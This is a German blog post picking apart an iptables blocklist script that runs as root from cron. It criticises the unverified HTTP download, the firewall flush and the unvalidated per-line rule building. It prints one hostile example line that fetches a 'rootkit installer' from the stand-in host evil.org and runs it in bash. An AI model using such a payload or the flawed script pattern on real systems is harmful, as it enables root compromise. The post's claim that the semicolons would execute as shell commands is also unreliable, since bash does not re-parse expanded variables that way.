published
tags: iptables bash script

Wie ownt man sich selbst? Man blogt über DDoS-Protection!

Heute war ein Tag wie jeder andere - irgendwann finde ich mal ein paar freie Minuten um die Feeds durchzuscrollen und entdecke einen Blogpost über DDoS-Protection im ubuntuusers.de Planeten. Da mich so Sachen prinzipiell schon interessieren obwohl ich selbst bisher nie betroffen war (und wenn wärs mir auch recht egal, hier liegt nur der Blog) hab ich mir das mal durchgelesen. Eine schlechte Idee. So schlecht, dass ich nach der Lektüre den ganzen Tag ein mulmiges Gefühl im Bauch hatte und mich fast gezwungen sehe darauf zu antworten, bevor das Leute tatsächlich so nachmachen.

Hinweis: Ich habe dem Autor direkt nach der Lektüre eine Mail geschrieben und keine Antwort erhalten. Ich weiß nicht warum die Seite aktuell down ist, ich kann mir aber durchaus vorstellen woran das liegt…

Worum gings denn in dem Blogpost?

OK, TL;DR: Der Autor hat anscheinend Probleme mit Denial of Service Angriffen auf seine Seite. Anscheinend gibt es Provider die Listen führen welche IPs da gerade besonders negativ auffallen und der Autor erläutert, wie man seine iptables Firewall automatisch gegen diese IPs impft. Hier mal das relevante Skript, das nur so nebenbei erwähnt turnusmäßig von einem cronjob als root ausgeführt wird:

#!/bin/bash

###############################################
# RSB Blacklisting mit IP-Tables #
###############################################

# Entfernung der alten Listen
rm all.txt
  
# Herunterladen der aktuellen Liste
wget http://lists.blocklist.de/lists/all.txt
        
# Löschen der alten Regeln
iptables -F
           
# Kurze Wartezeit, da ich teilweise das Problem hatte, dass das Löschen noch nicht abgeschlossen war.
sleep 5
              
# Einlesen der neuen Liste und erstellen der Regeln
while read line
do
  iptables -A INPUT -s $line -j DROP
done <all.txt

So what?

OK, gehen wir das einfach mal langsam durch:

# Entfernung der alten Listen
rm all.txt

Also anscheinend liegen die alten Listen noch im Dateisystem. Ich persönlich würd die immer gleich im Anschluss löschen, aber das beim Aktualisieren zu machen ist reine Geschmackssache. Nicht weiter schlimm.

# Herunterladen der aktuellen Liste
wget http://lists.blocklist.de/lists/all.txt

So, hier kommen also die neuen Listen her. Ich weiß nicht wie der Name konkret aufgelöst wird, DNSSEC ist ja allgemein eine sinnvolle Sache. Zumindest sinnvoller als kein DNSSEC. Unter der Annahme der Name wird korrekt aufgelöst wird also eine Datei heruntergeladen. Per HTTP. Kein Integritätsschutz. Echt jetzt?

Über die Tatsache, dass der Download unverschlüsselt geschieht kann man ja noch streiten, denn dass jeder im Netz sehen kann was gleich in meiner Firewall landet ist zwar nicht super gut, aber definitiv noch kein Beinbruch. Dass die Daten aber keinerlei Integritätsschutz genießen ist grob fahrlässig! Jeder im Netz kann manipulierte Daten schicken und das fällt genau nie auf.

Passiert sowas? Ja. Aber sicher nur die NSA und die Chinesen? Jein. Da gibts noch mehrere Parteien in einem Netzwerk die sowas können. Dafür braucht man keine übermächtige Rechenleistung oder hohes Budget, sondern nur Know-How und einen Grund das zu tun. Zufällig bin ich da über eine recht aktuelles Paper gestolpert, das genau dieses Thema behandelt. Wer also den Angriffsvektor für nicht existent hält oder als gering gefährlich/relevant einschätzt dem sei diese Lektüre empfohlen.

# Löschen der alten Regeln
iptables -F

Ja, hier wird die komplette Firewallkonfiguration gelöscht. Alles. Skriptbasiert. Jeden Tag. Auf einem Produktivsystem. Wie wir später sehen werden war diese Firewall nie sonderlich komplex oder hat irgendwelche anderen Dinge getan als random-IPs zu blocken. Finde ich ein wenig unorthodox, aber kann man machen.

# Kurze Wartezeit, da ich teilweise das Problem hatte, dass das Löschen noch nicht abgeschlossen war.
sleep 5

Ja also anscheinend gibts da auch Performanceprobleme wenn man mal 20000 Firewallregeln löscht. Die naheliegendste und erfahrungsgemäß beste Lösung ist einfach mal 5 Sekunden warten. Bis jetzt hat das Skript also im Root-Kontext eine Backdoor runter geladen und die Firewall deaktiviert. Nun aber zum Höhepunkt:

# Einlesen der neuen Liste und erstellen der Regeln
while read line
do
  iptables -A INPUT -s $line -j DROP
done <all.txt

Dafuq gif

Sprachlosigkeit. Ein Blick in den Kalender - der erste April war vor 5 Tagen, der Post von heute. Was passiert hier? Nun, man ließt Zeile für Zeile IPs aus der zuvor herunter geladenen Datei und sagt der Firewall, diese solle sie blocken. Nicht weiter schlimm. Man könnte das auf eine Operation verkürzen, indem man die IPs einfach per Komma getrennt an den Befehl übergibt. Laut manpage wird das dann automatisch in mehrere Regeln aufgesplittet. Syntaktischer Zucker.

Da man vorhin ja schon Performanceprobleme hatte würde mich mal interessieren, wie lange es dauert, 20000 mal den kompletten Firewallkontext aus dem Kernel zu laden, zu modifizieren, und wieder rein zu laden. Das hört sich nicht nur beim lesen ineffizient an, ist es auch tatsächlich. Nebeneffekt (was bei diesen Rulesets aber egal ist): Jede diese Operationen ist atomar, das heißt während das Skript läuft befindet sich die Firewall in über 20k für sie valide Zustände. Ein Fehler in der Mitte der Datei bringt das Skript zum Absturz? Eine halbe Firewall geladen. Komplexere Regeln per Hand in einem Shellscript zusammen gebaut? Inkonsistente Firewallzustände die dazu führen können, dass die Firewall kurzzeitig, und zwar wenn das Skript noch nicht komplett durch ist, Dinge tut die sie nicht tun sollte. In der Praxis nutzt man daher iptables-save und iptables-restore um Firewallregeln auszulesen und einzuspielen. Das hat Performancevorteile da nur einmal geladen wird und ist eine in sich atomare Operation. Mir ist zwar nicht bewusst warum das anscheinend so wenige Leute wissen und irgendwie niemand macht, in der Uni war das ungefähr das erste was uns mitgeteilt wurde als es um iptables ging.

Also, inperformant und nicht atomar, who cares. Nadann, einen hab ich noch: Angenommen, in dieser Datei, deren Inhalt weder geprüft korrekt vom Server übertragen und von Angreifern fast trivial modifiziert werden konnte, wird auch tatsächlich der Inhalt jeder einzelnen Zeile nicht geprüft. In Zeile 15346 könnte also statt einer IP folgendes stehen:

8.8.8.8 -j ACCEPT; wget evil.org/superevilrootkitinstaller.sh; bash superevilrootkitinstaller.sh; iptables -A INPUT -s 1.2.3.4

Ich nenne das jetzt mal iptables-injection. Was passiert hier? Wir bauen erst einmal den Befehl der im Skript per iptables -A INPUT -s begonnen wird fertig mit 8.8.8.8 -j ACCEPT;. 8.8.8.8 kann im Prinzip alles mögliche sein, in diesem Fall halt ein Google DNS Server. Ein tatsächlicher Angreifer würde hier klugerweise seine eigene IP rein schreiben, nicht dass er später noch zufällig in der Blocklist auftaucht. Da wir wissen, dass auf dem System wget vorhanden ist, laden wir damit von evil.org den superevilrootkitinstaller.sh runter und führen ihn in der bash als root aus. Jetzt hat man sich halt irgendwie selbst geownt und der Server den man vor DDoS schützen wollte ist ein Zombie in den Händen eines Fremden. Wohl eher mehrerer, aber lassen wir das. Zuletzt baut man um keine Aufmerksamkeit zu erwecken - sollte doch irgendwie noch Logging aktiviert sein - den Rest des ursprünglichen Befehls fertig, sodass halt irgendeine andere IP geblockt wird. Man könnte auch das Skript einfach an der Stelle beenden, aber ein DDoS-geschützter Zombie ist halt doch besser als einer, der unter Dauerfeuer steht ;)

Vor der eigenen Tür kehren

Also, wie man sieht wurde irgendwie alles nicht so wirklich gut gemacht. Man kann sich da ein wenig hinsetzen und das mit ein bisschen Input-Validation etc. auch besser machen. Ich bin da kein Experte und DDoS-Protection ist sicherlich nicht ganz trivial. Ich will hier niemanden öffentlich zur Schau stellen und darauf hinweisen, dass soetwas jedem passieren kann. Das ist sogar einer der Fälle, in dem Code der offen im Netz liegt von jemandem angeschaut wurde und Fehler gefunden wurden, die nun hoffentlich behoben werden. Der Fairness halber will ich auch dazu sagen, dass ich in meinem vorherigen Blogpost mit einem ominösen Perl-Script, welches ich mir nicht durchgelesen habe (Perl ist ja eh Write-Only) eine Datei aus dem Netz runter lade und in meinem DNS Resolver hinterlege. Vielleicht komme ich demnächst mal dazu das besser zu machen. Das einzige Feedback dazu war, wie man das auch direkt mit wget machen kann, was dann auf “ich lade eine potenziell securityrelevante Datei ohne Prüfung regelmäßig ungesichert aus dem Netz runter” reduziert werden kann. Hinsichtlich der Sicherheit nicht wirklich das gelbe vom Ei.

Fazit: Den Leuten Bescheid sagen wenn sie etwas schlecht machen und was sie schlecht machen. Sonst wird das nicht besser. Und am besten fängt man bei sich selbst an…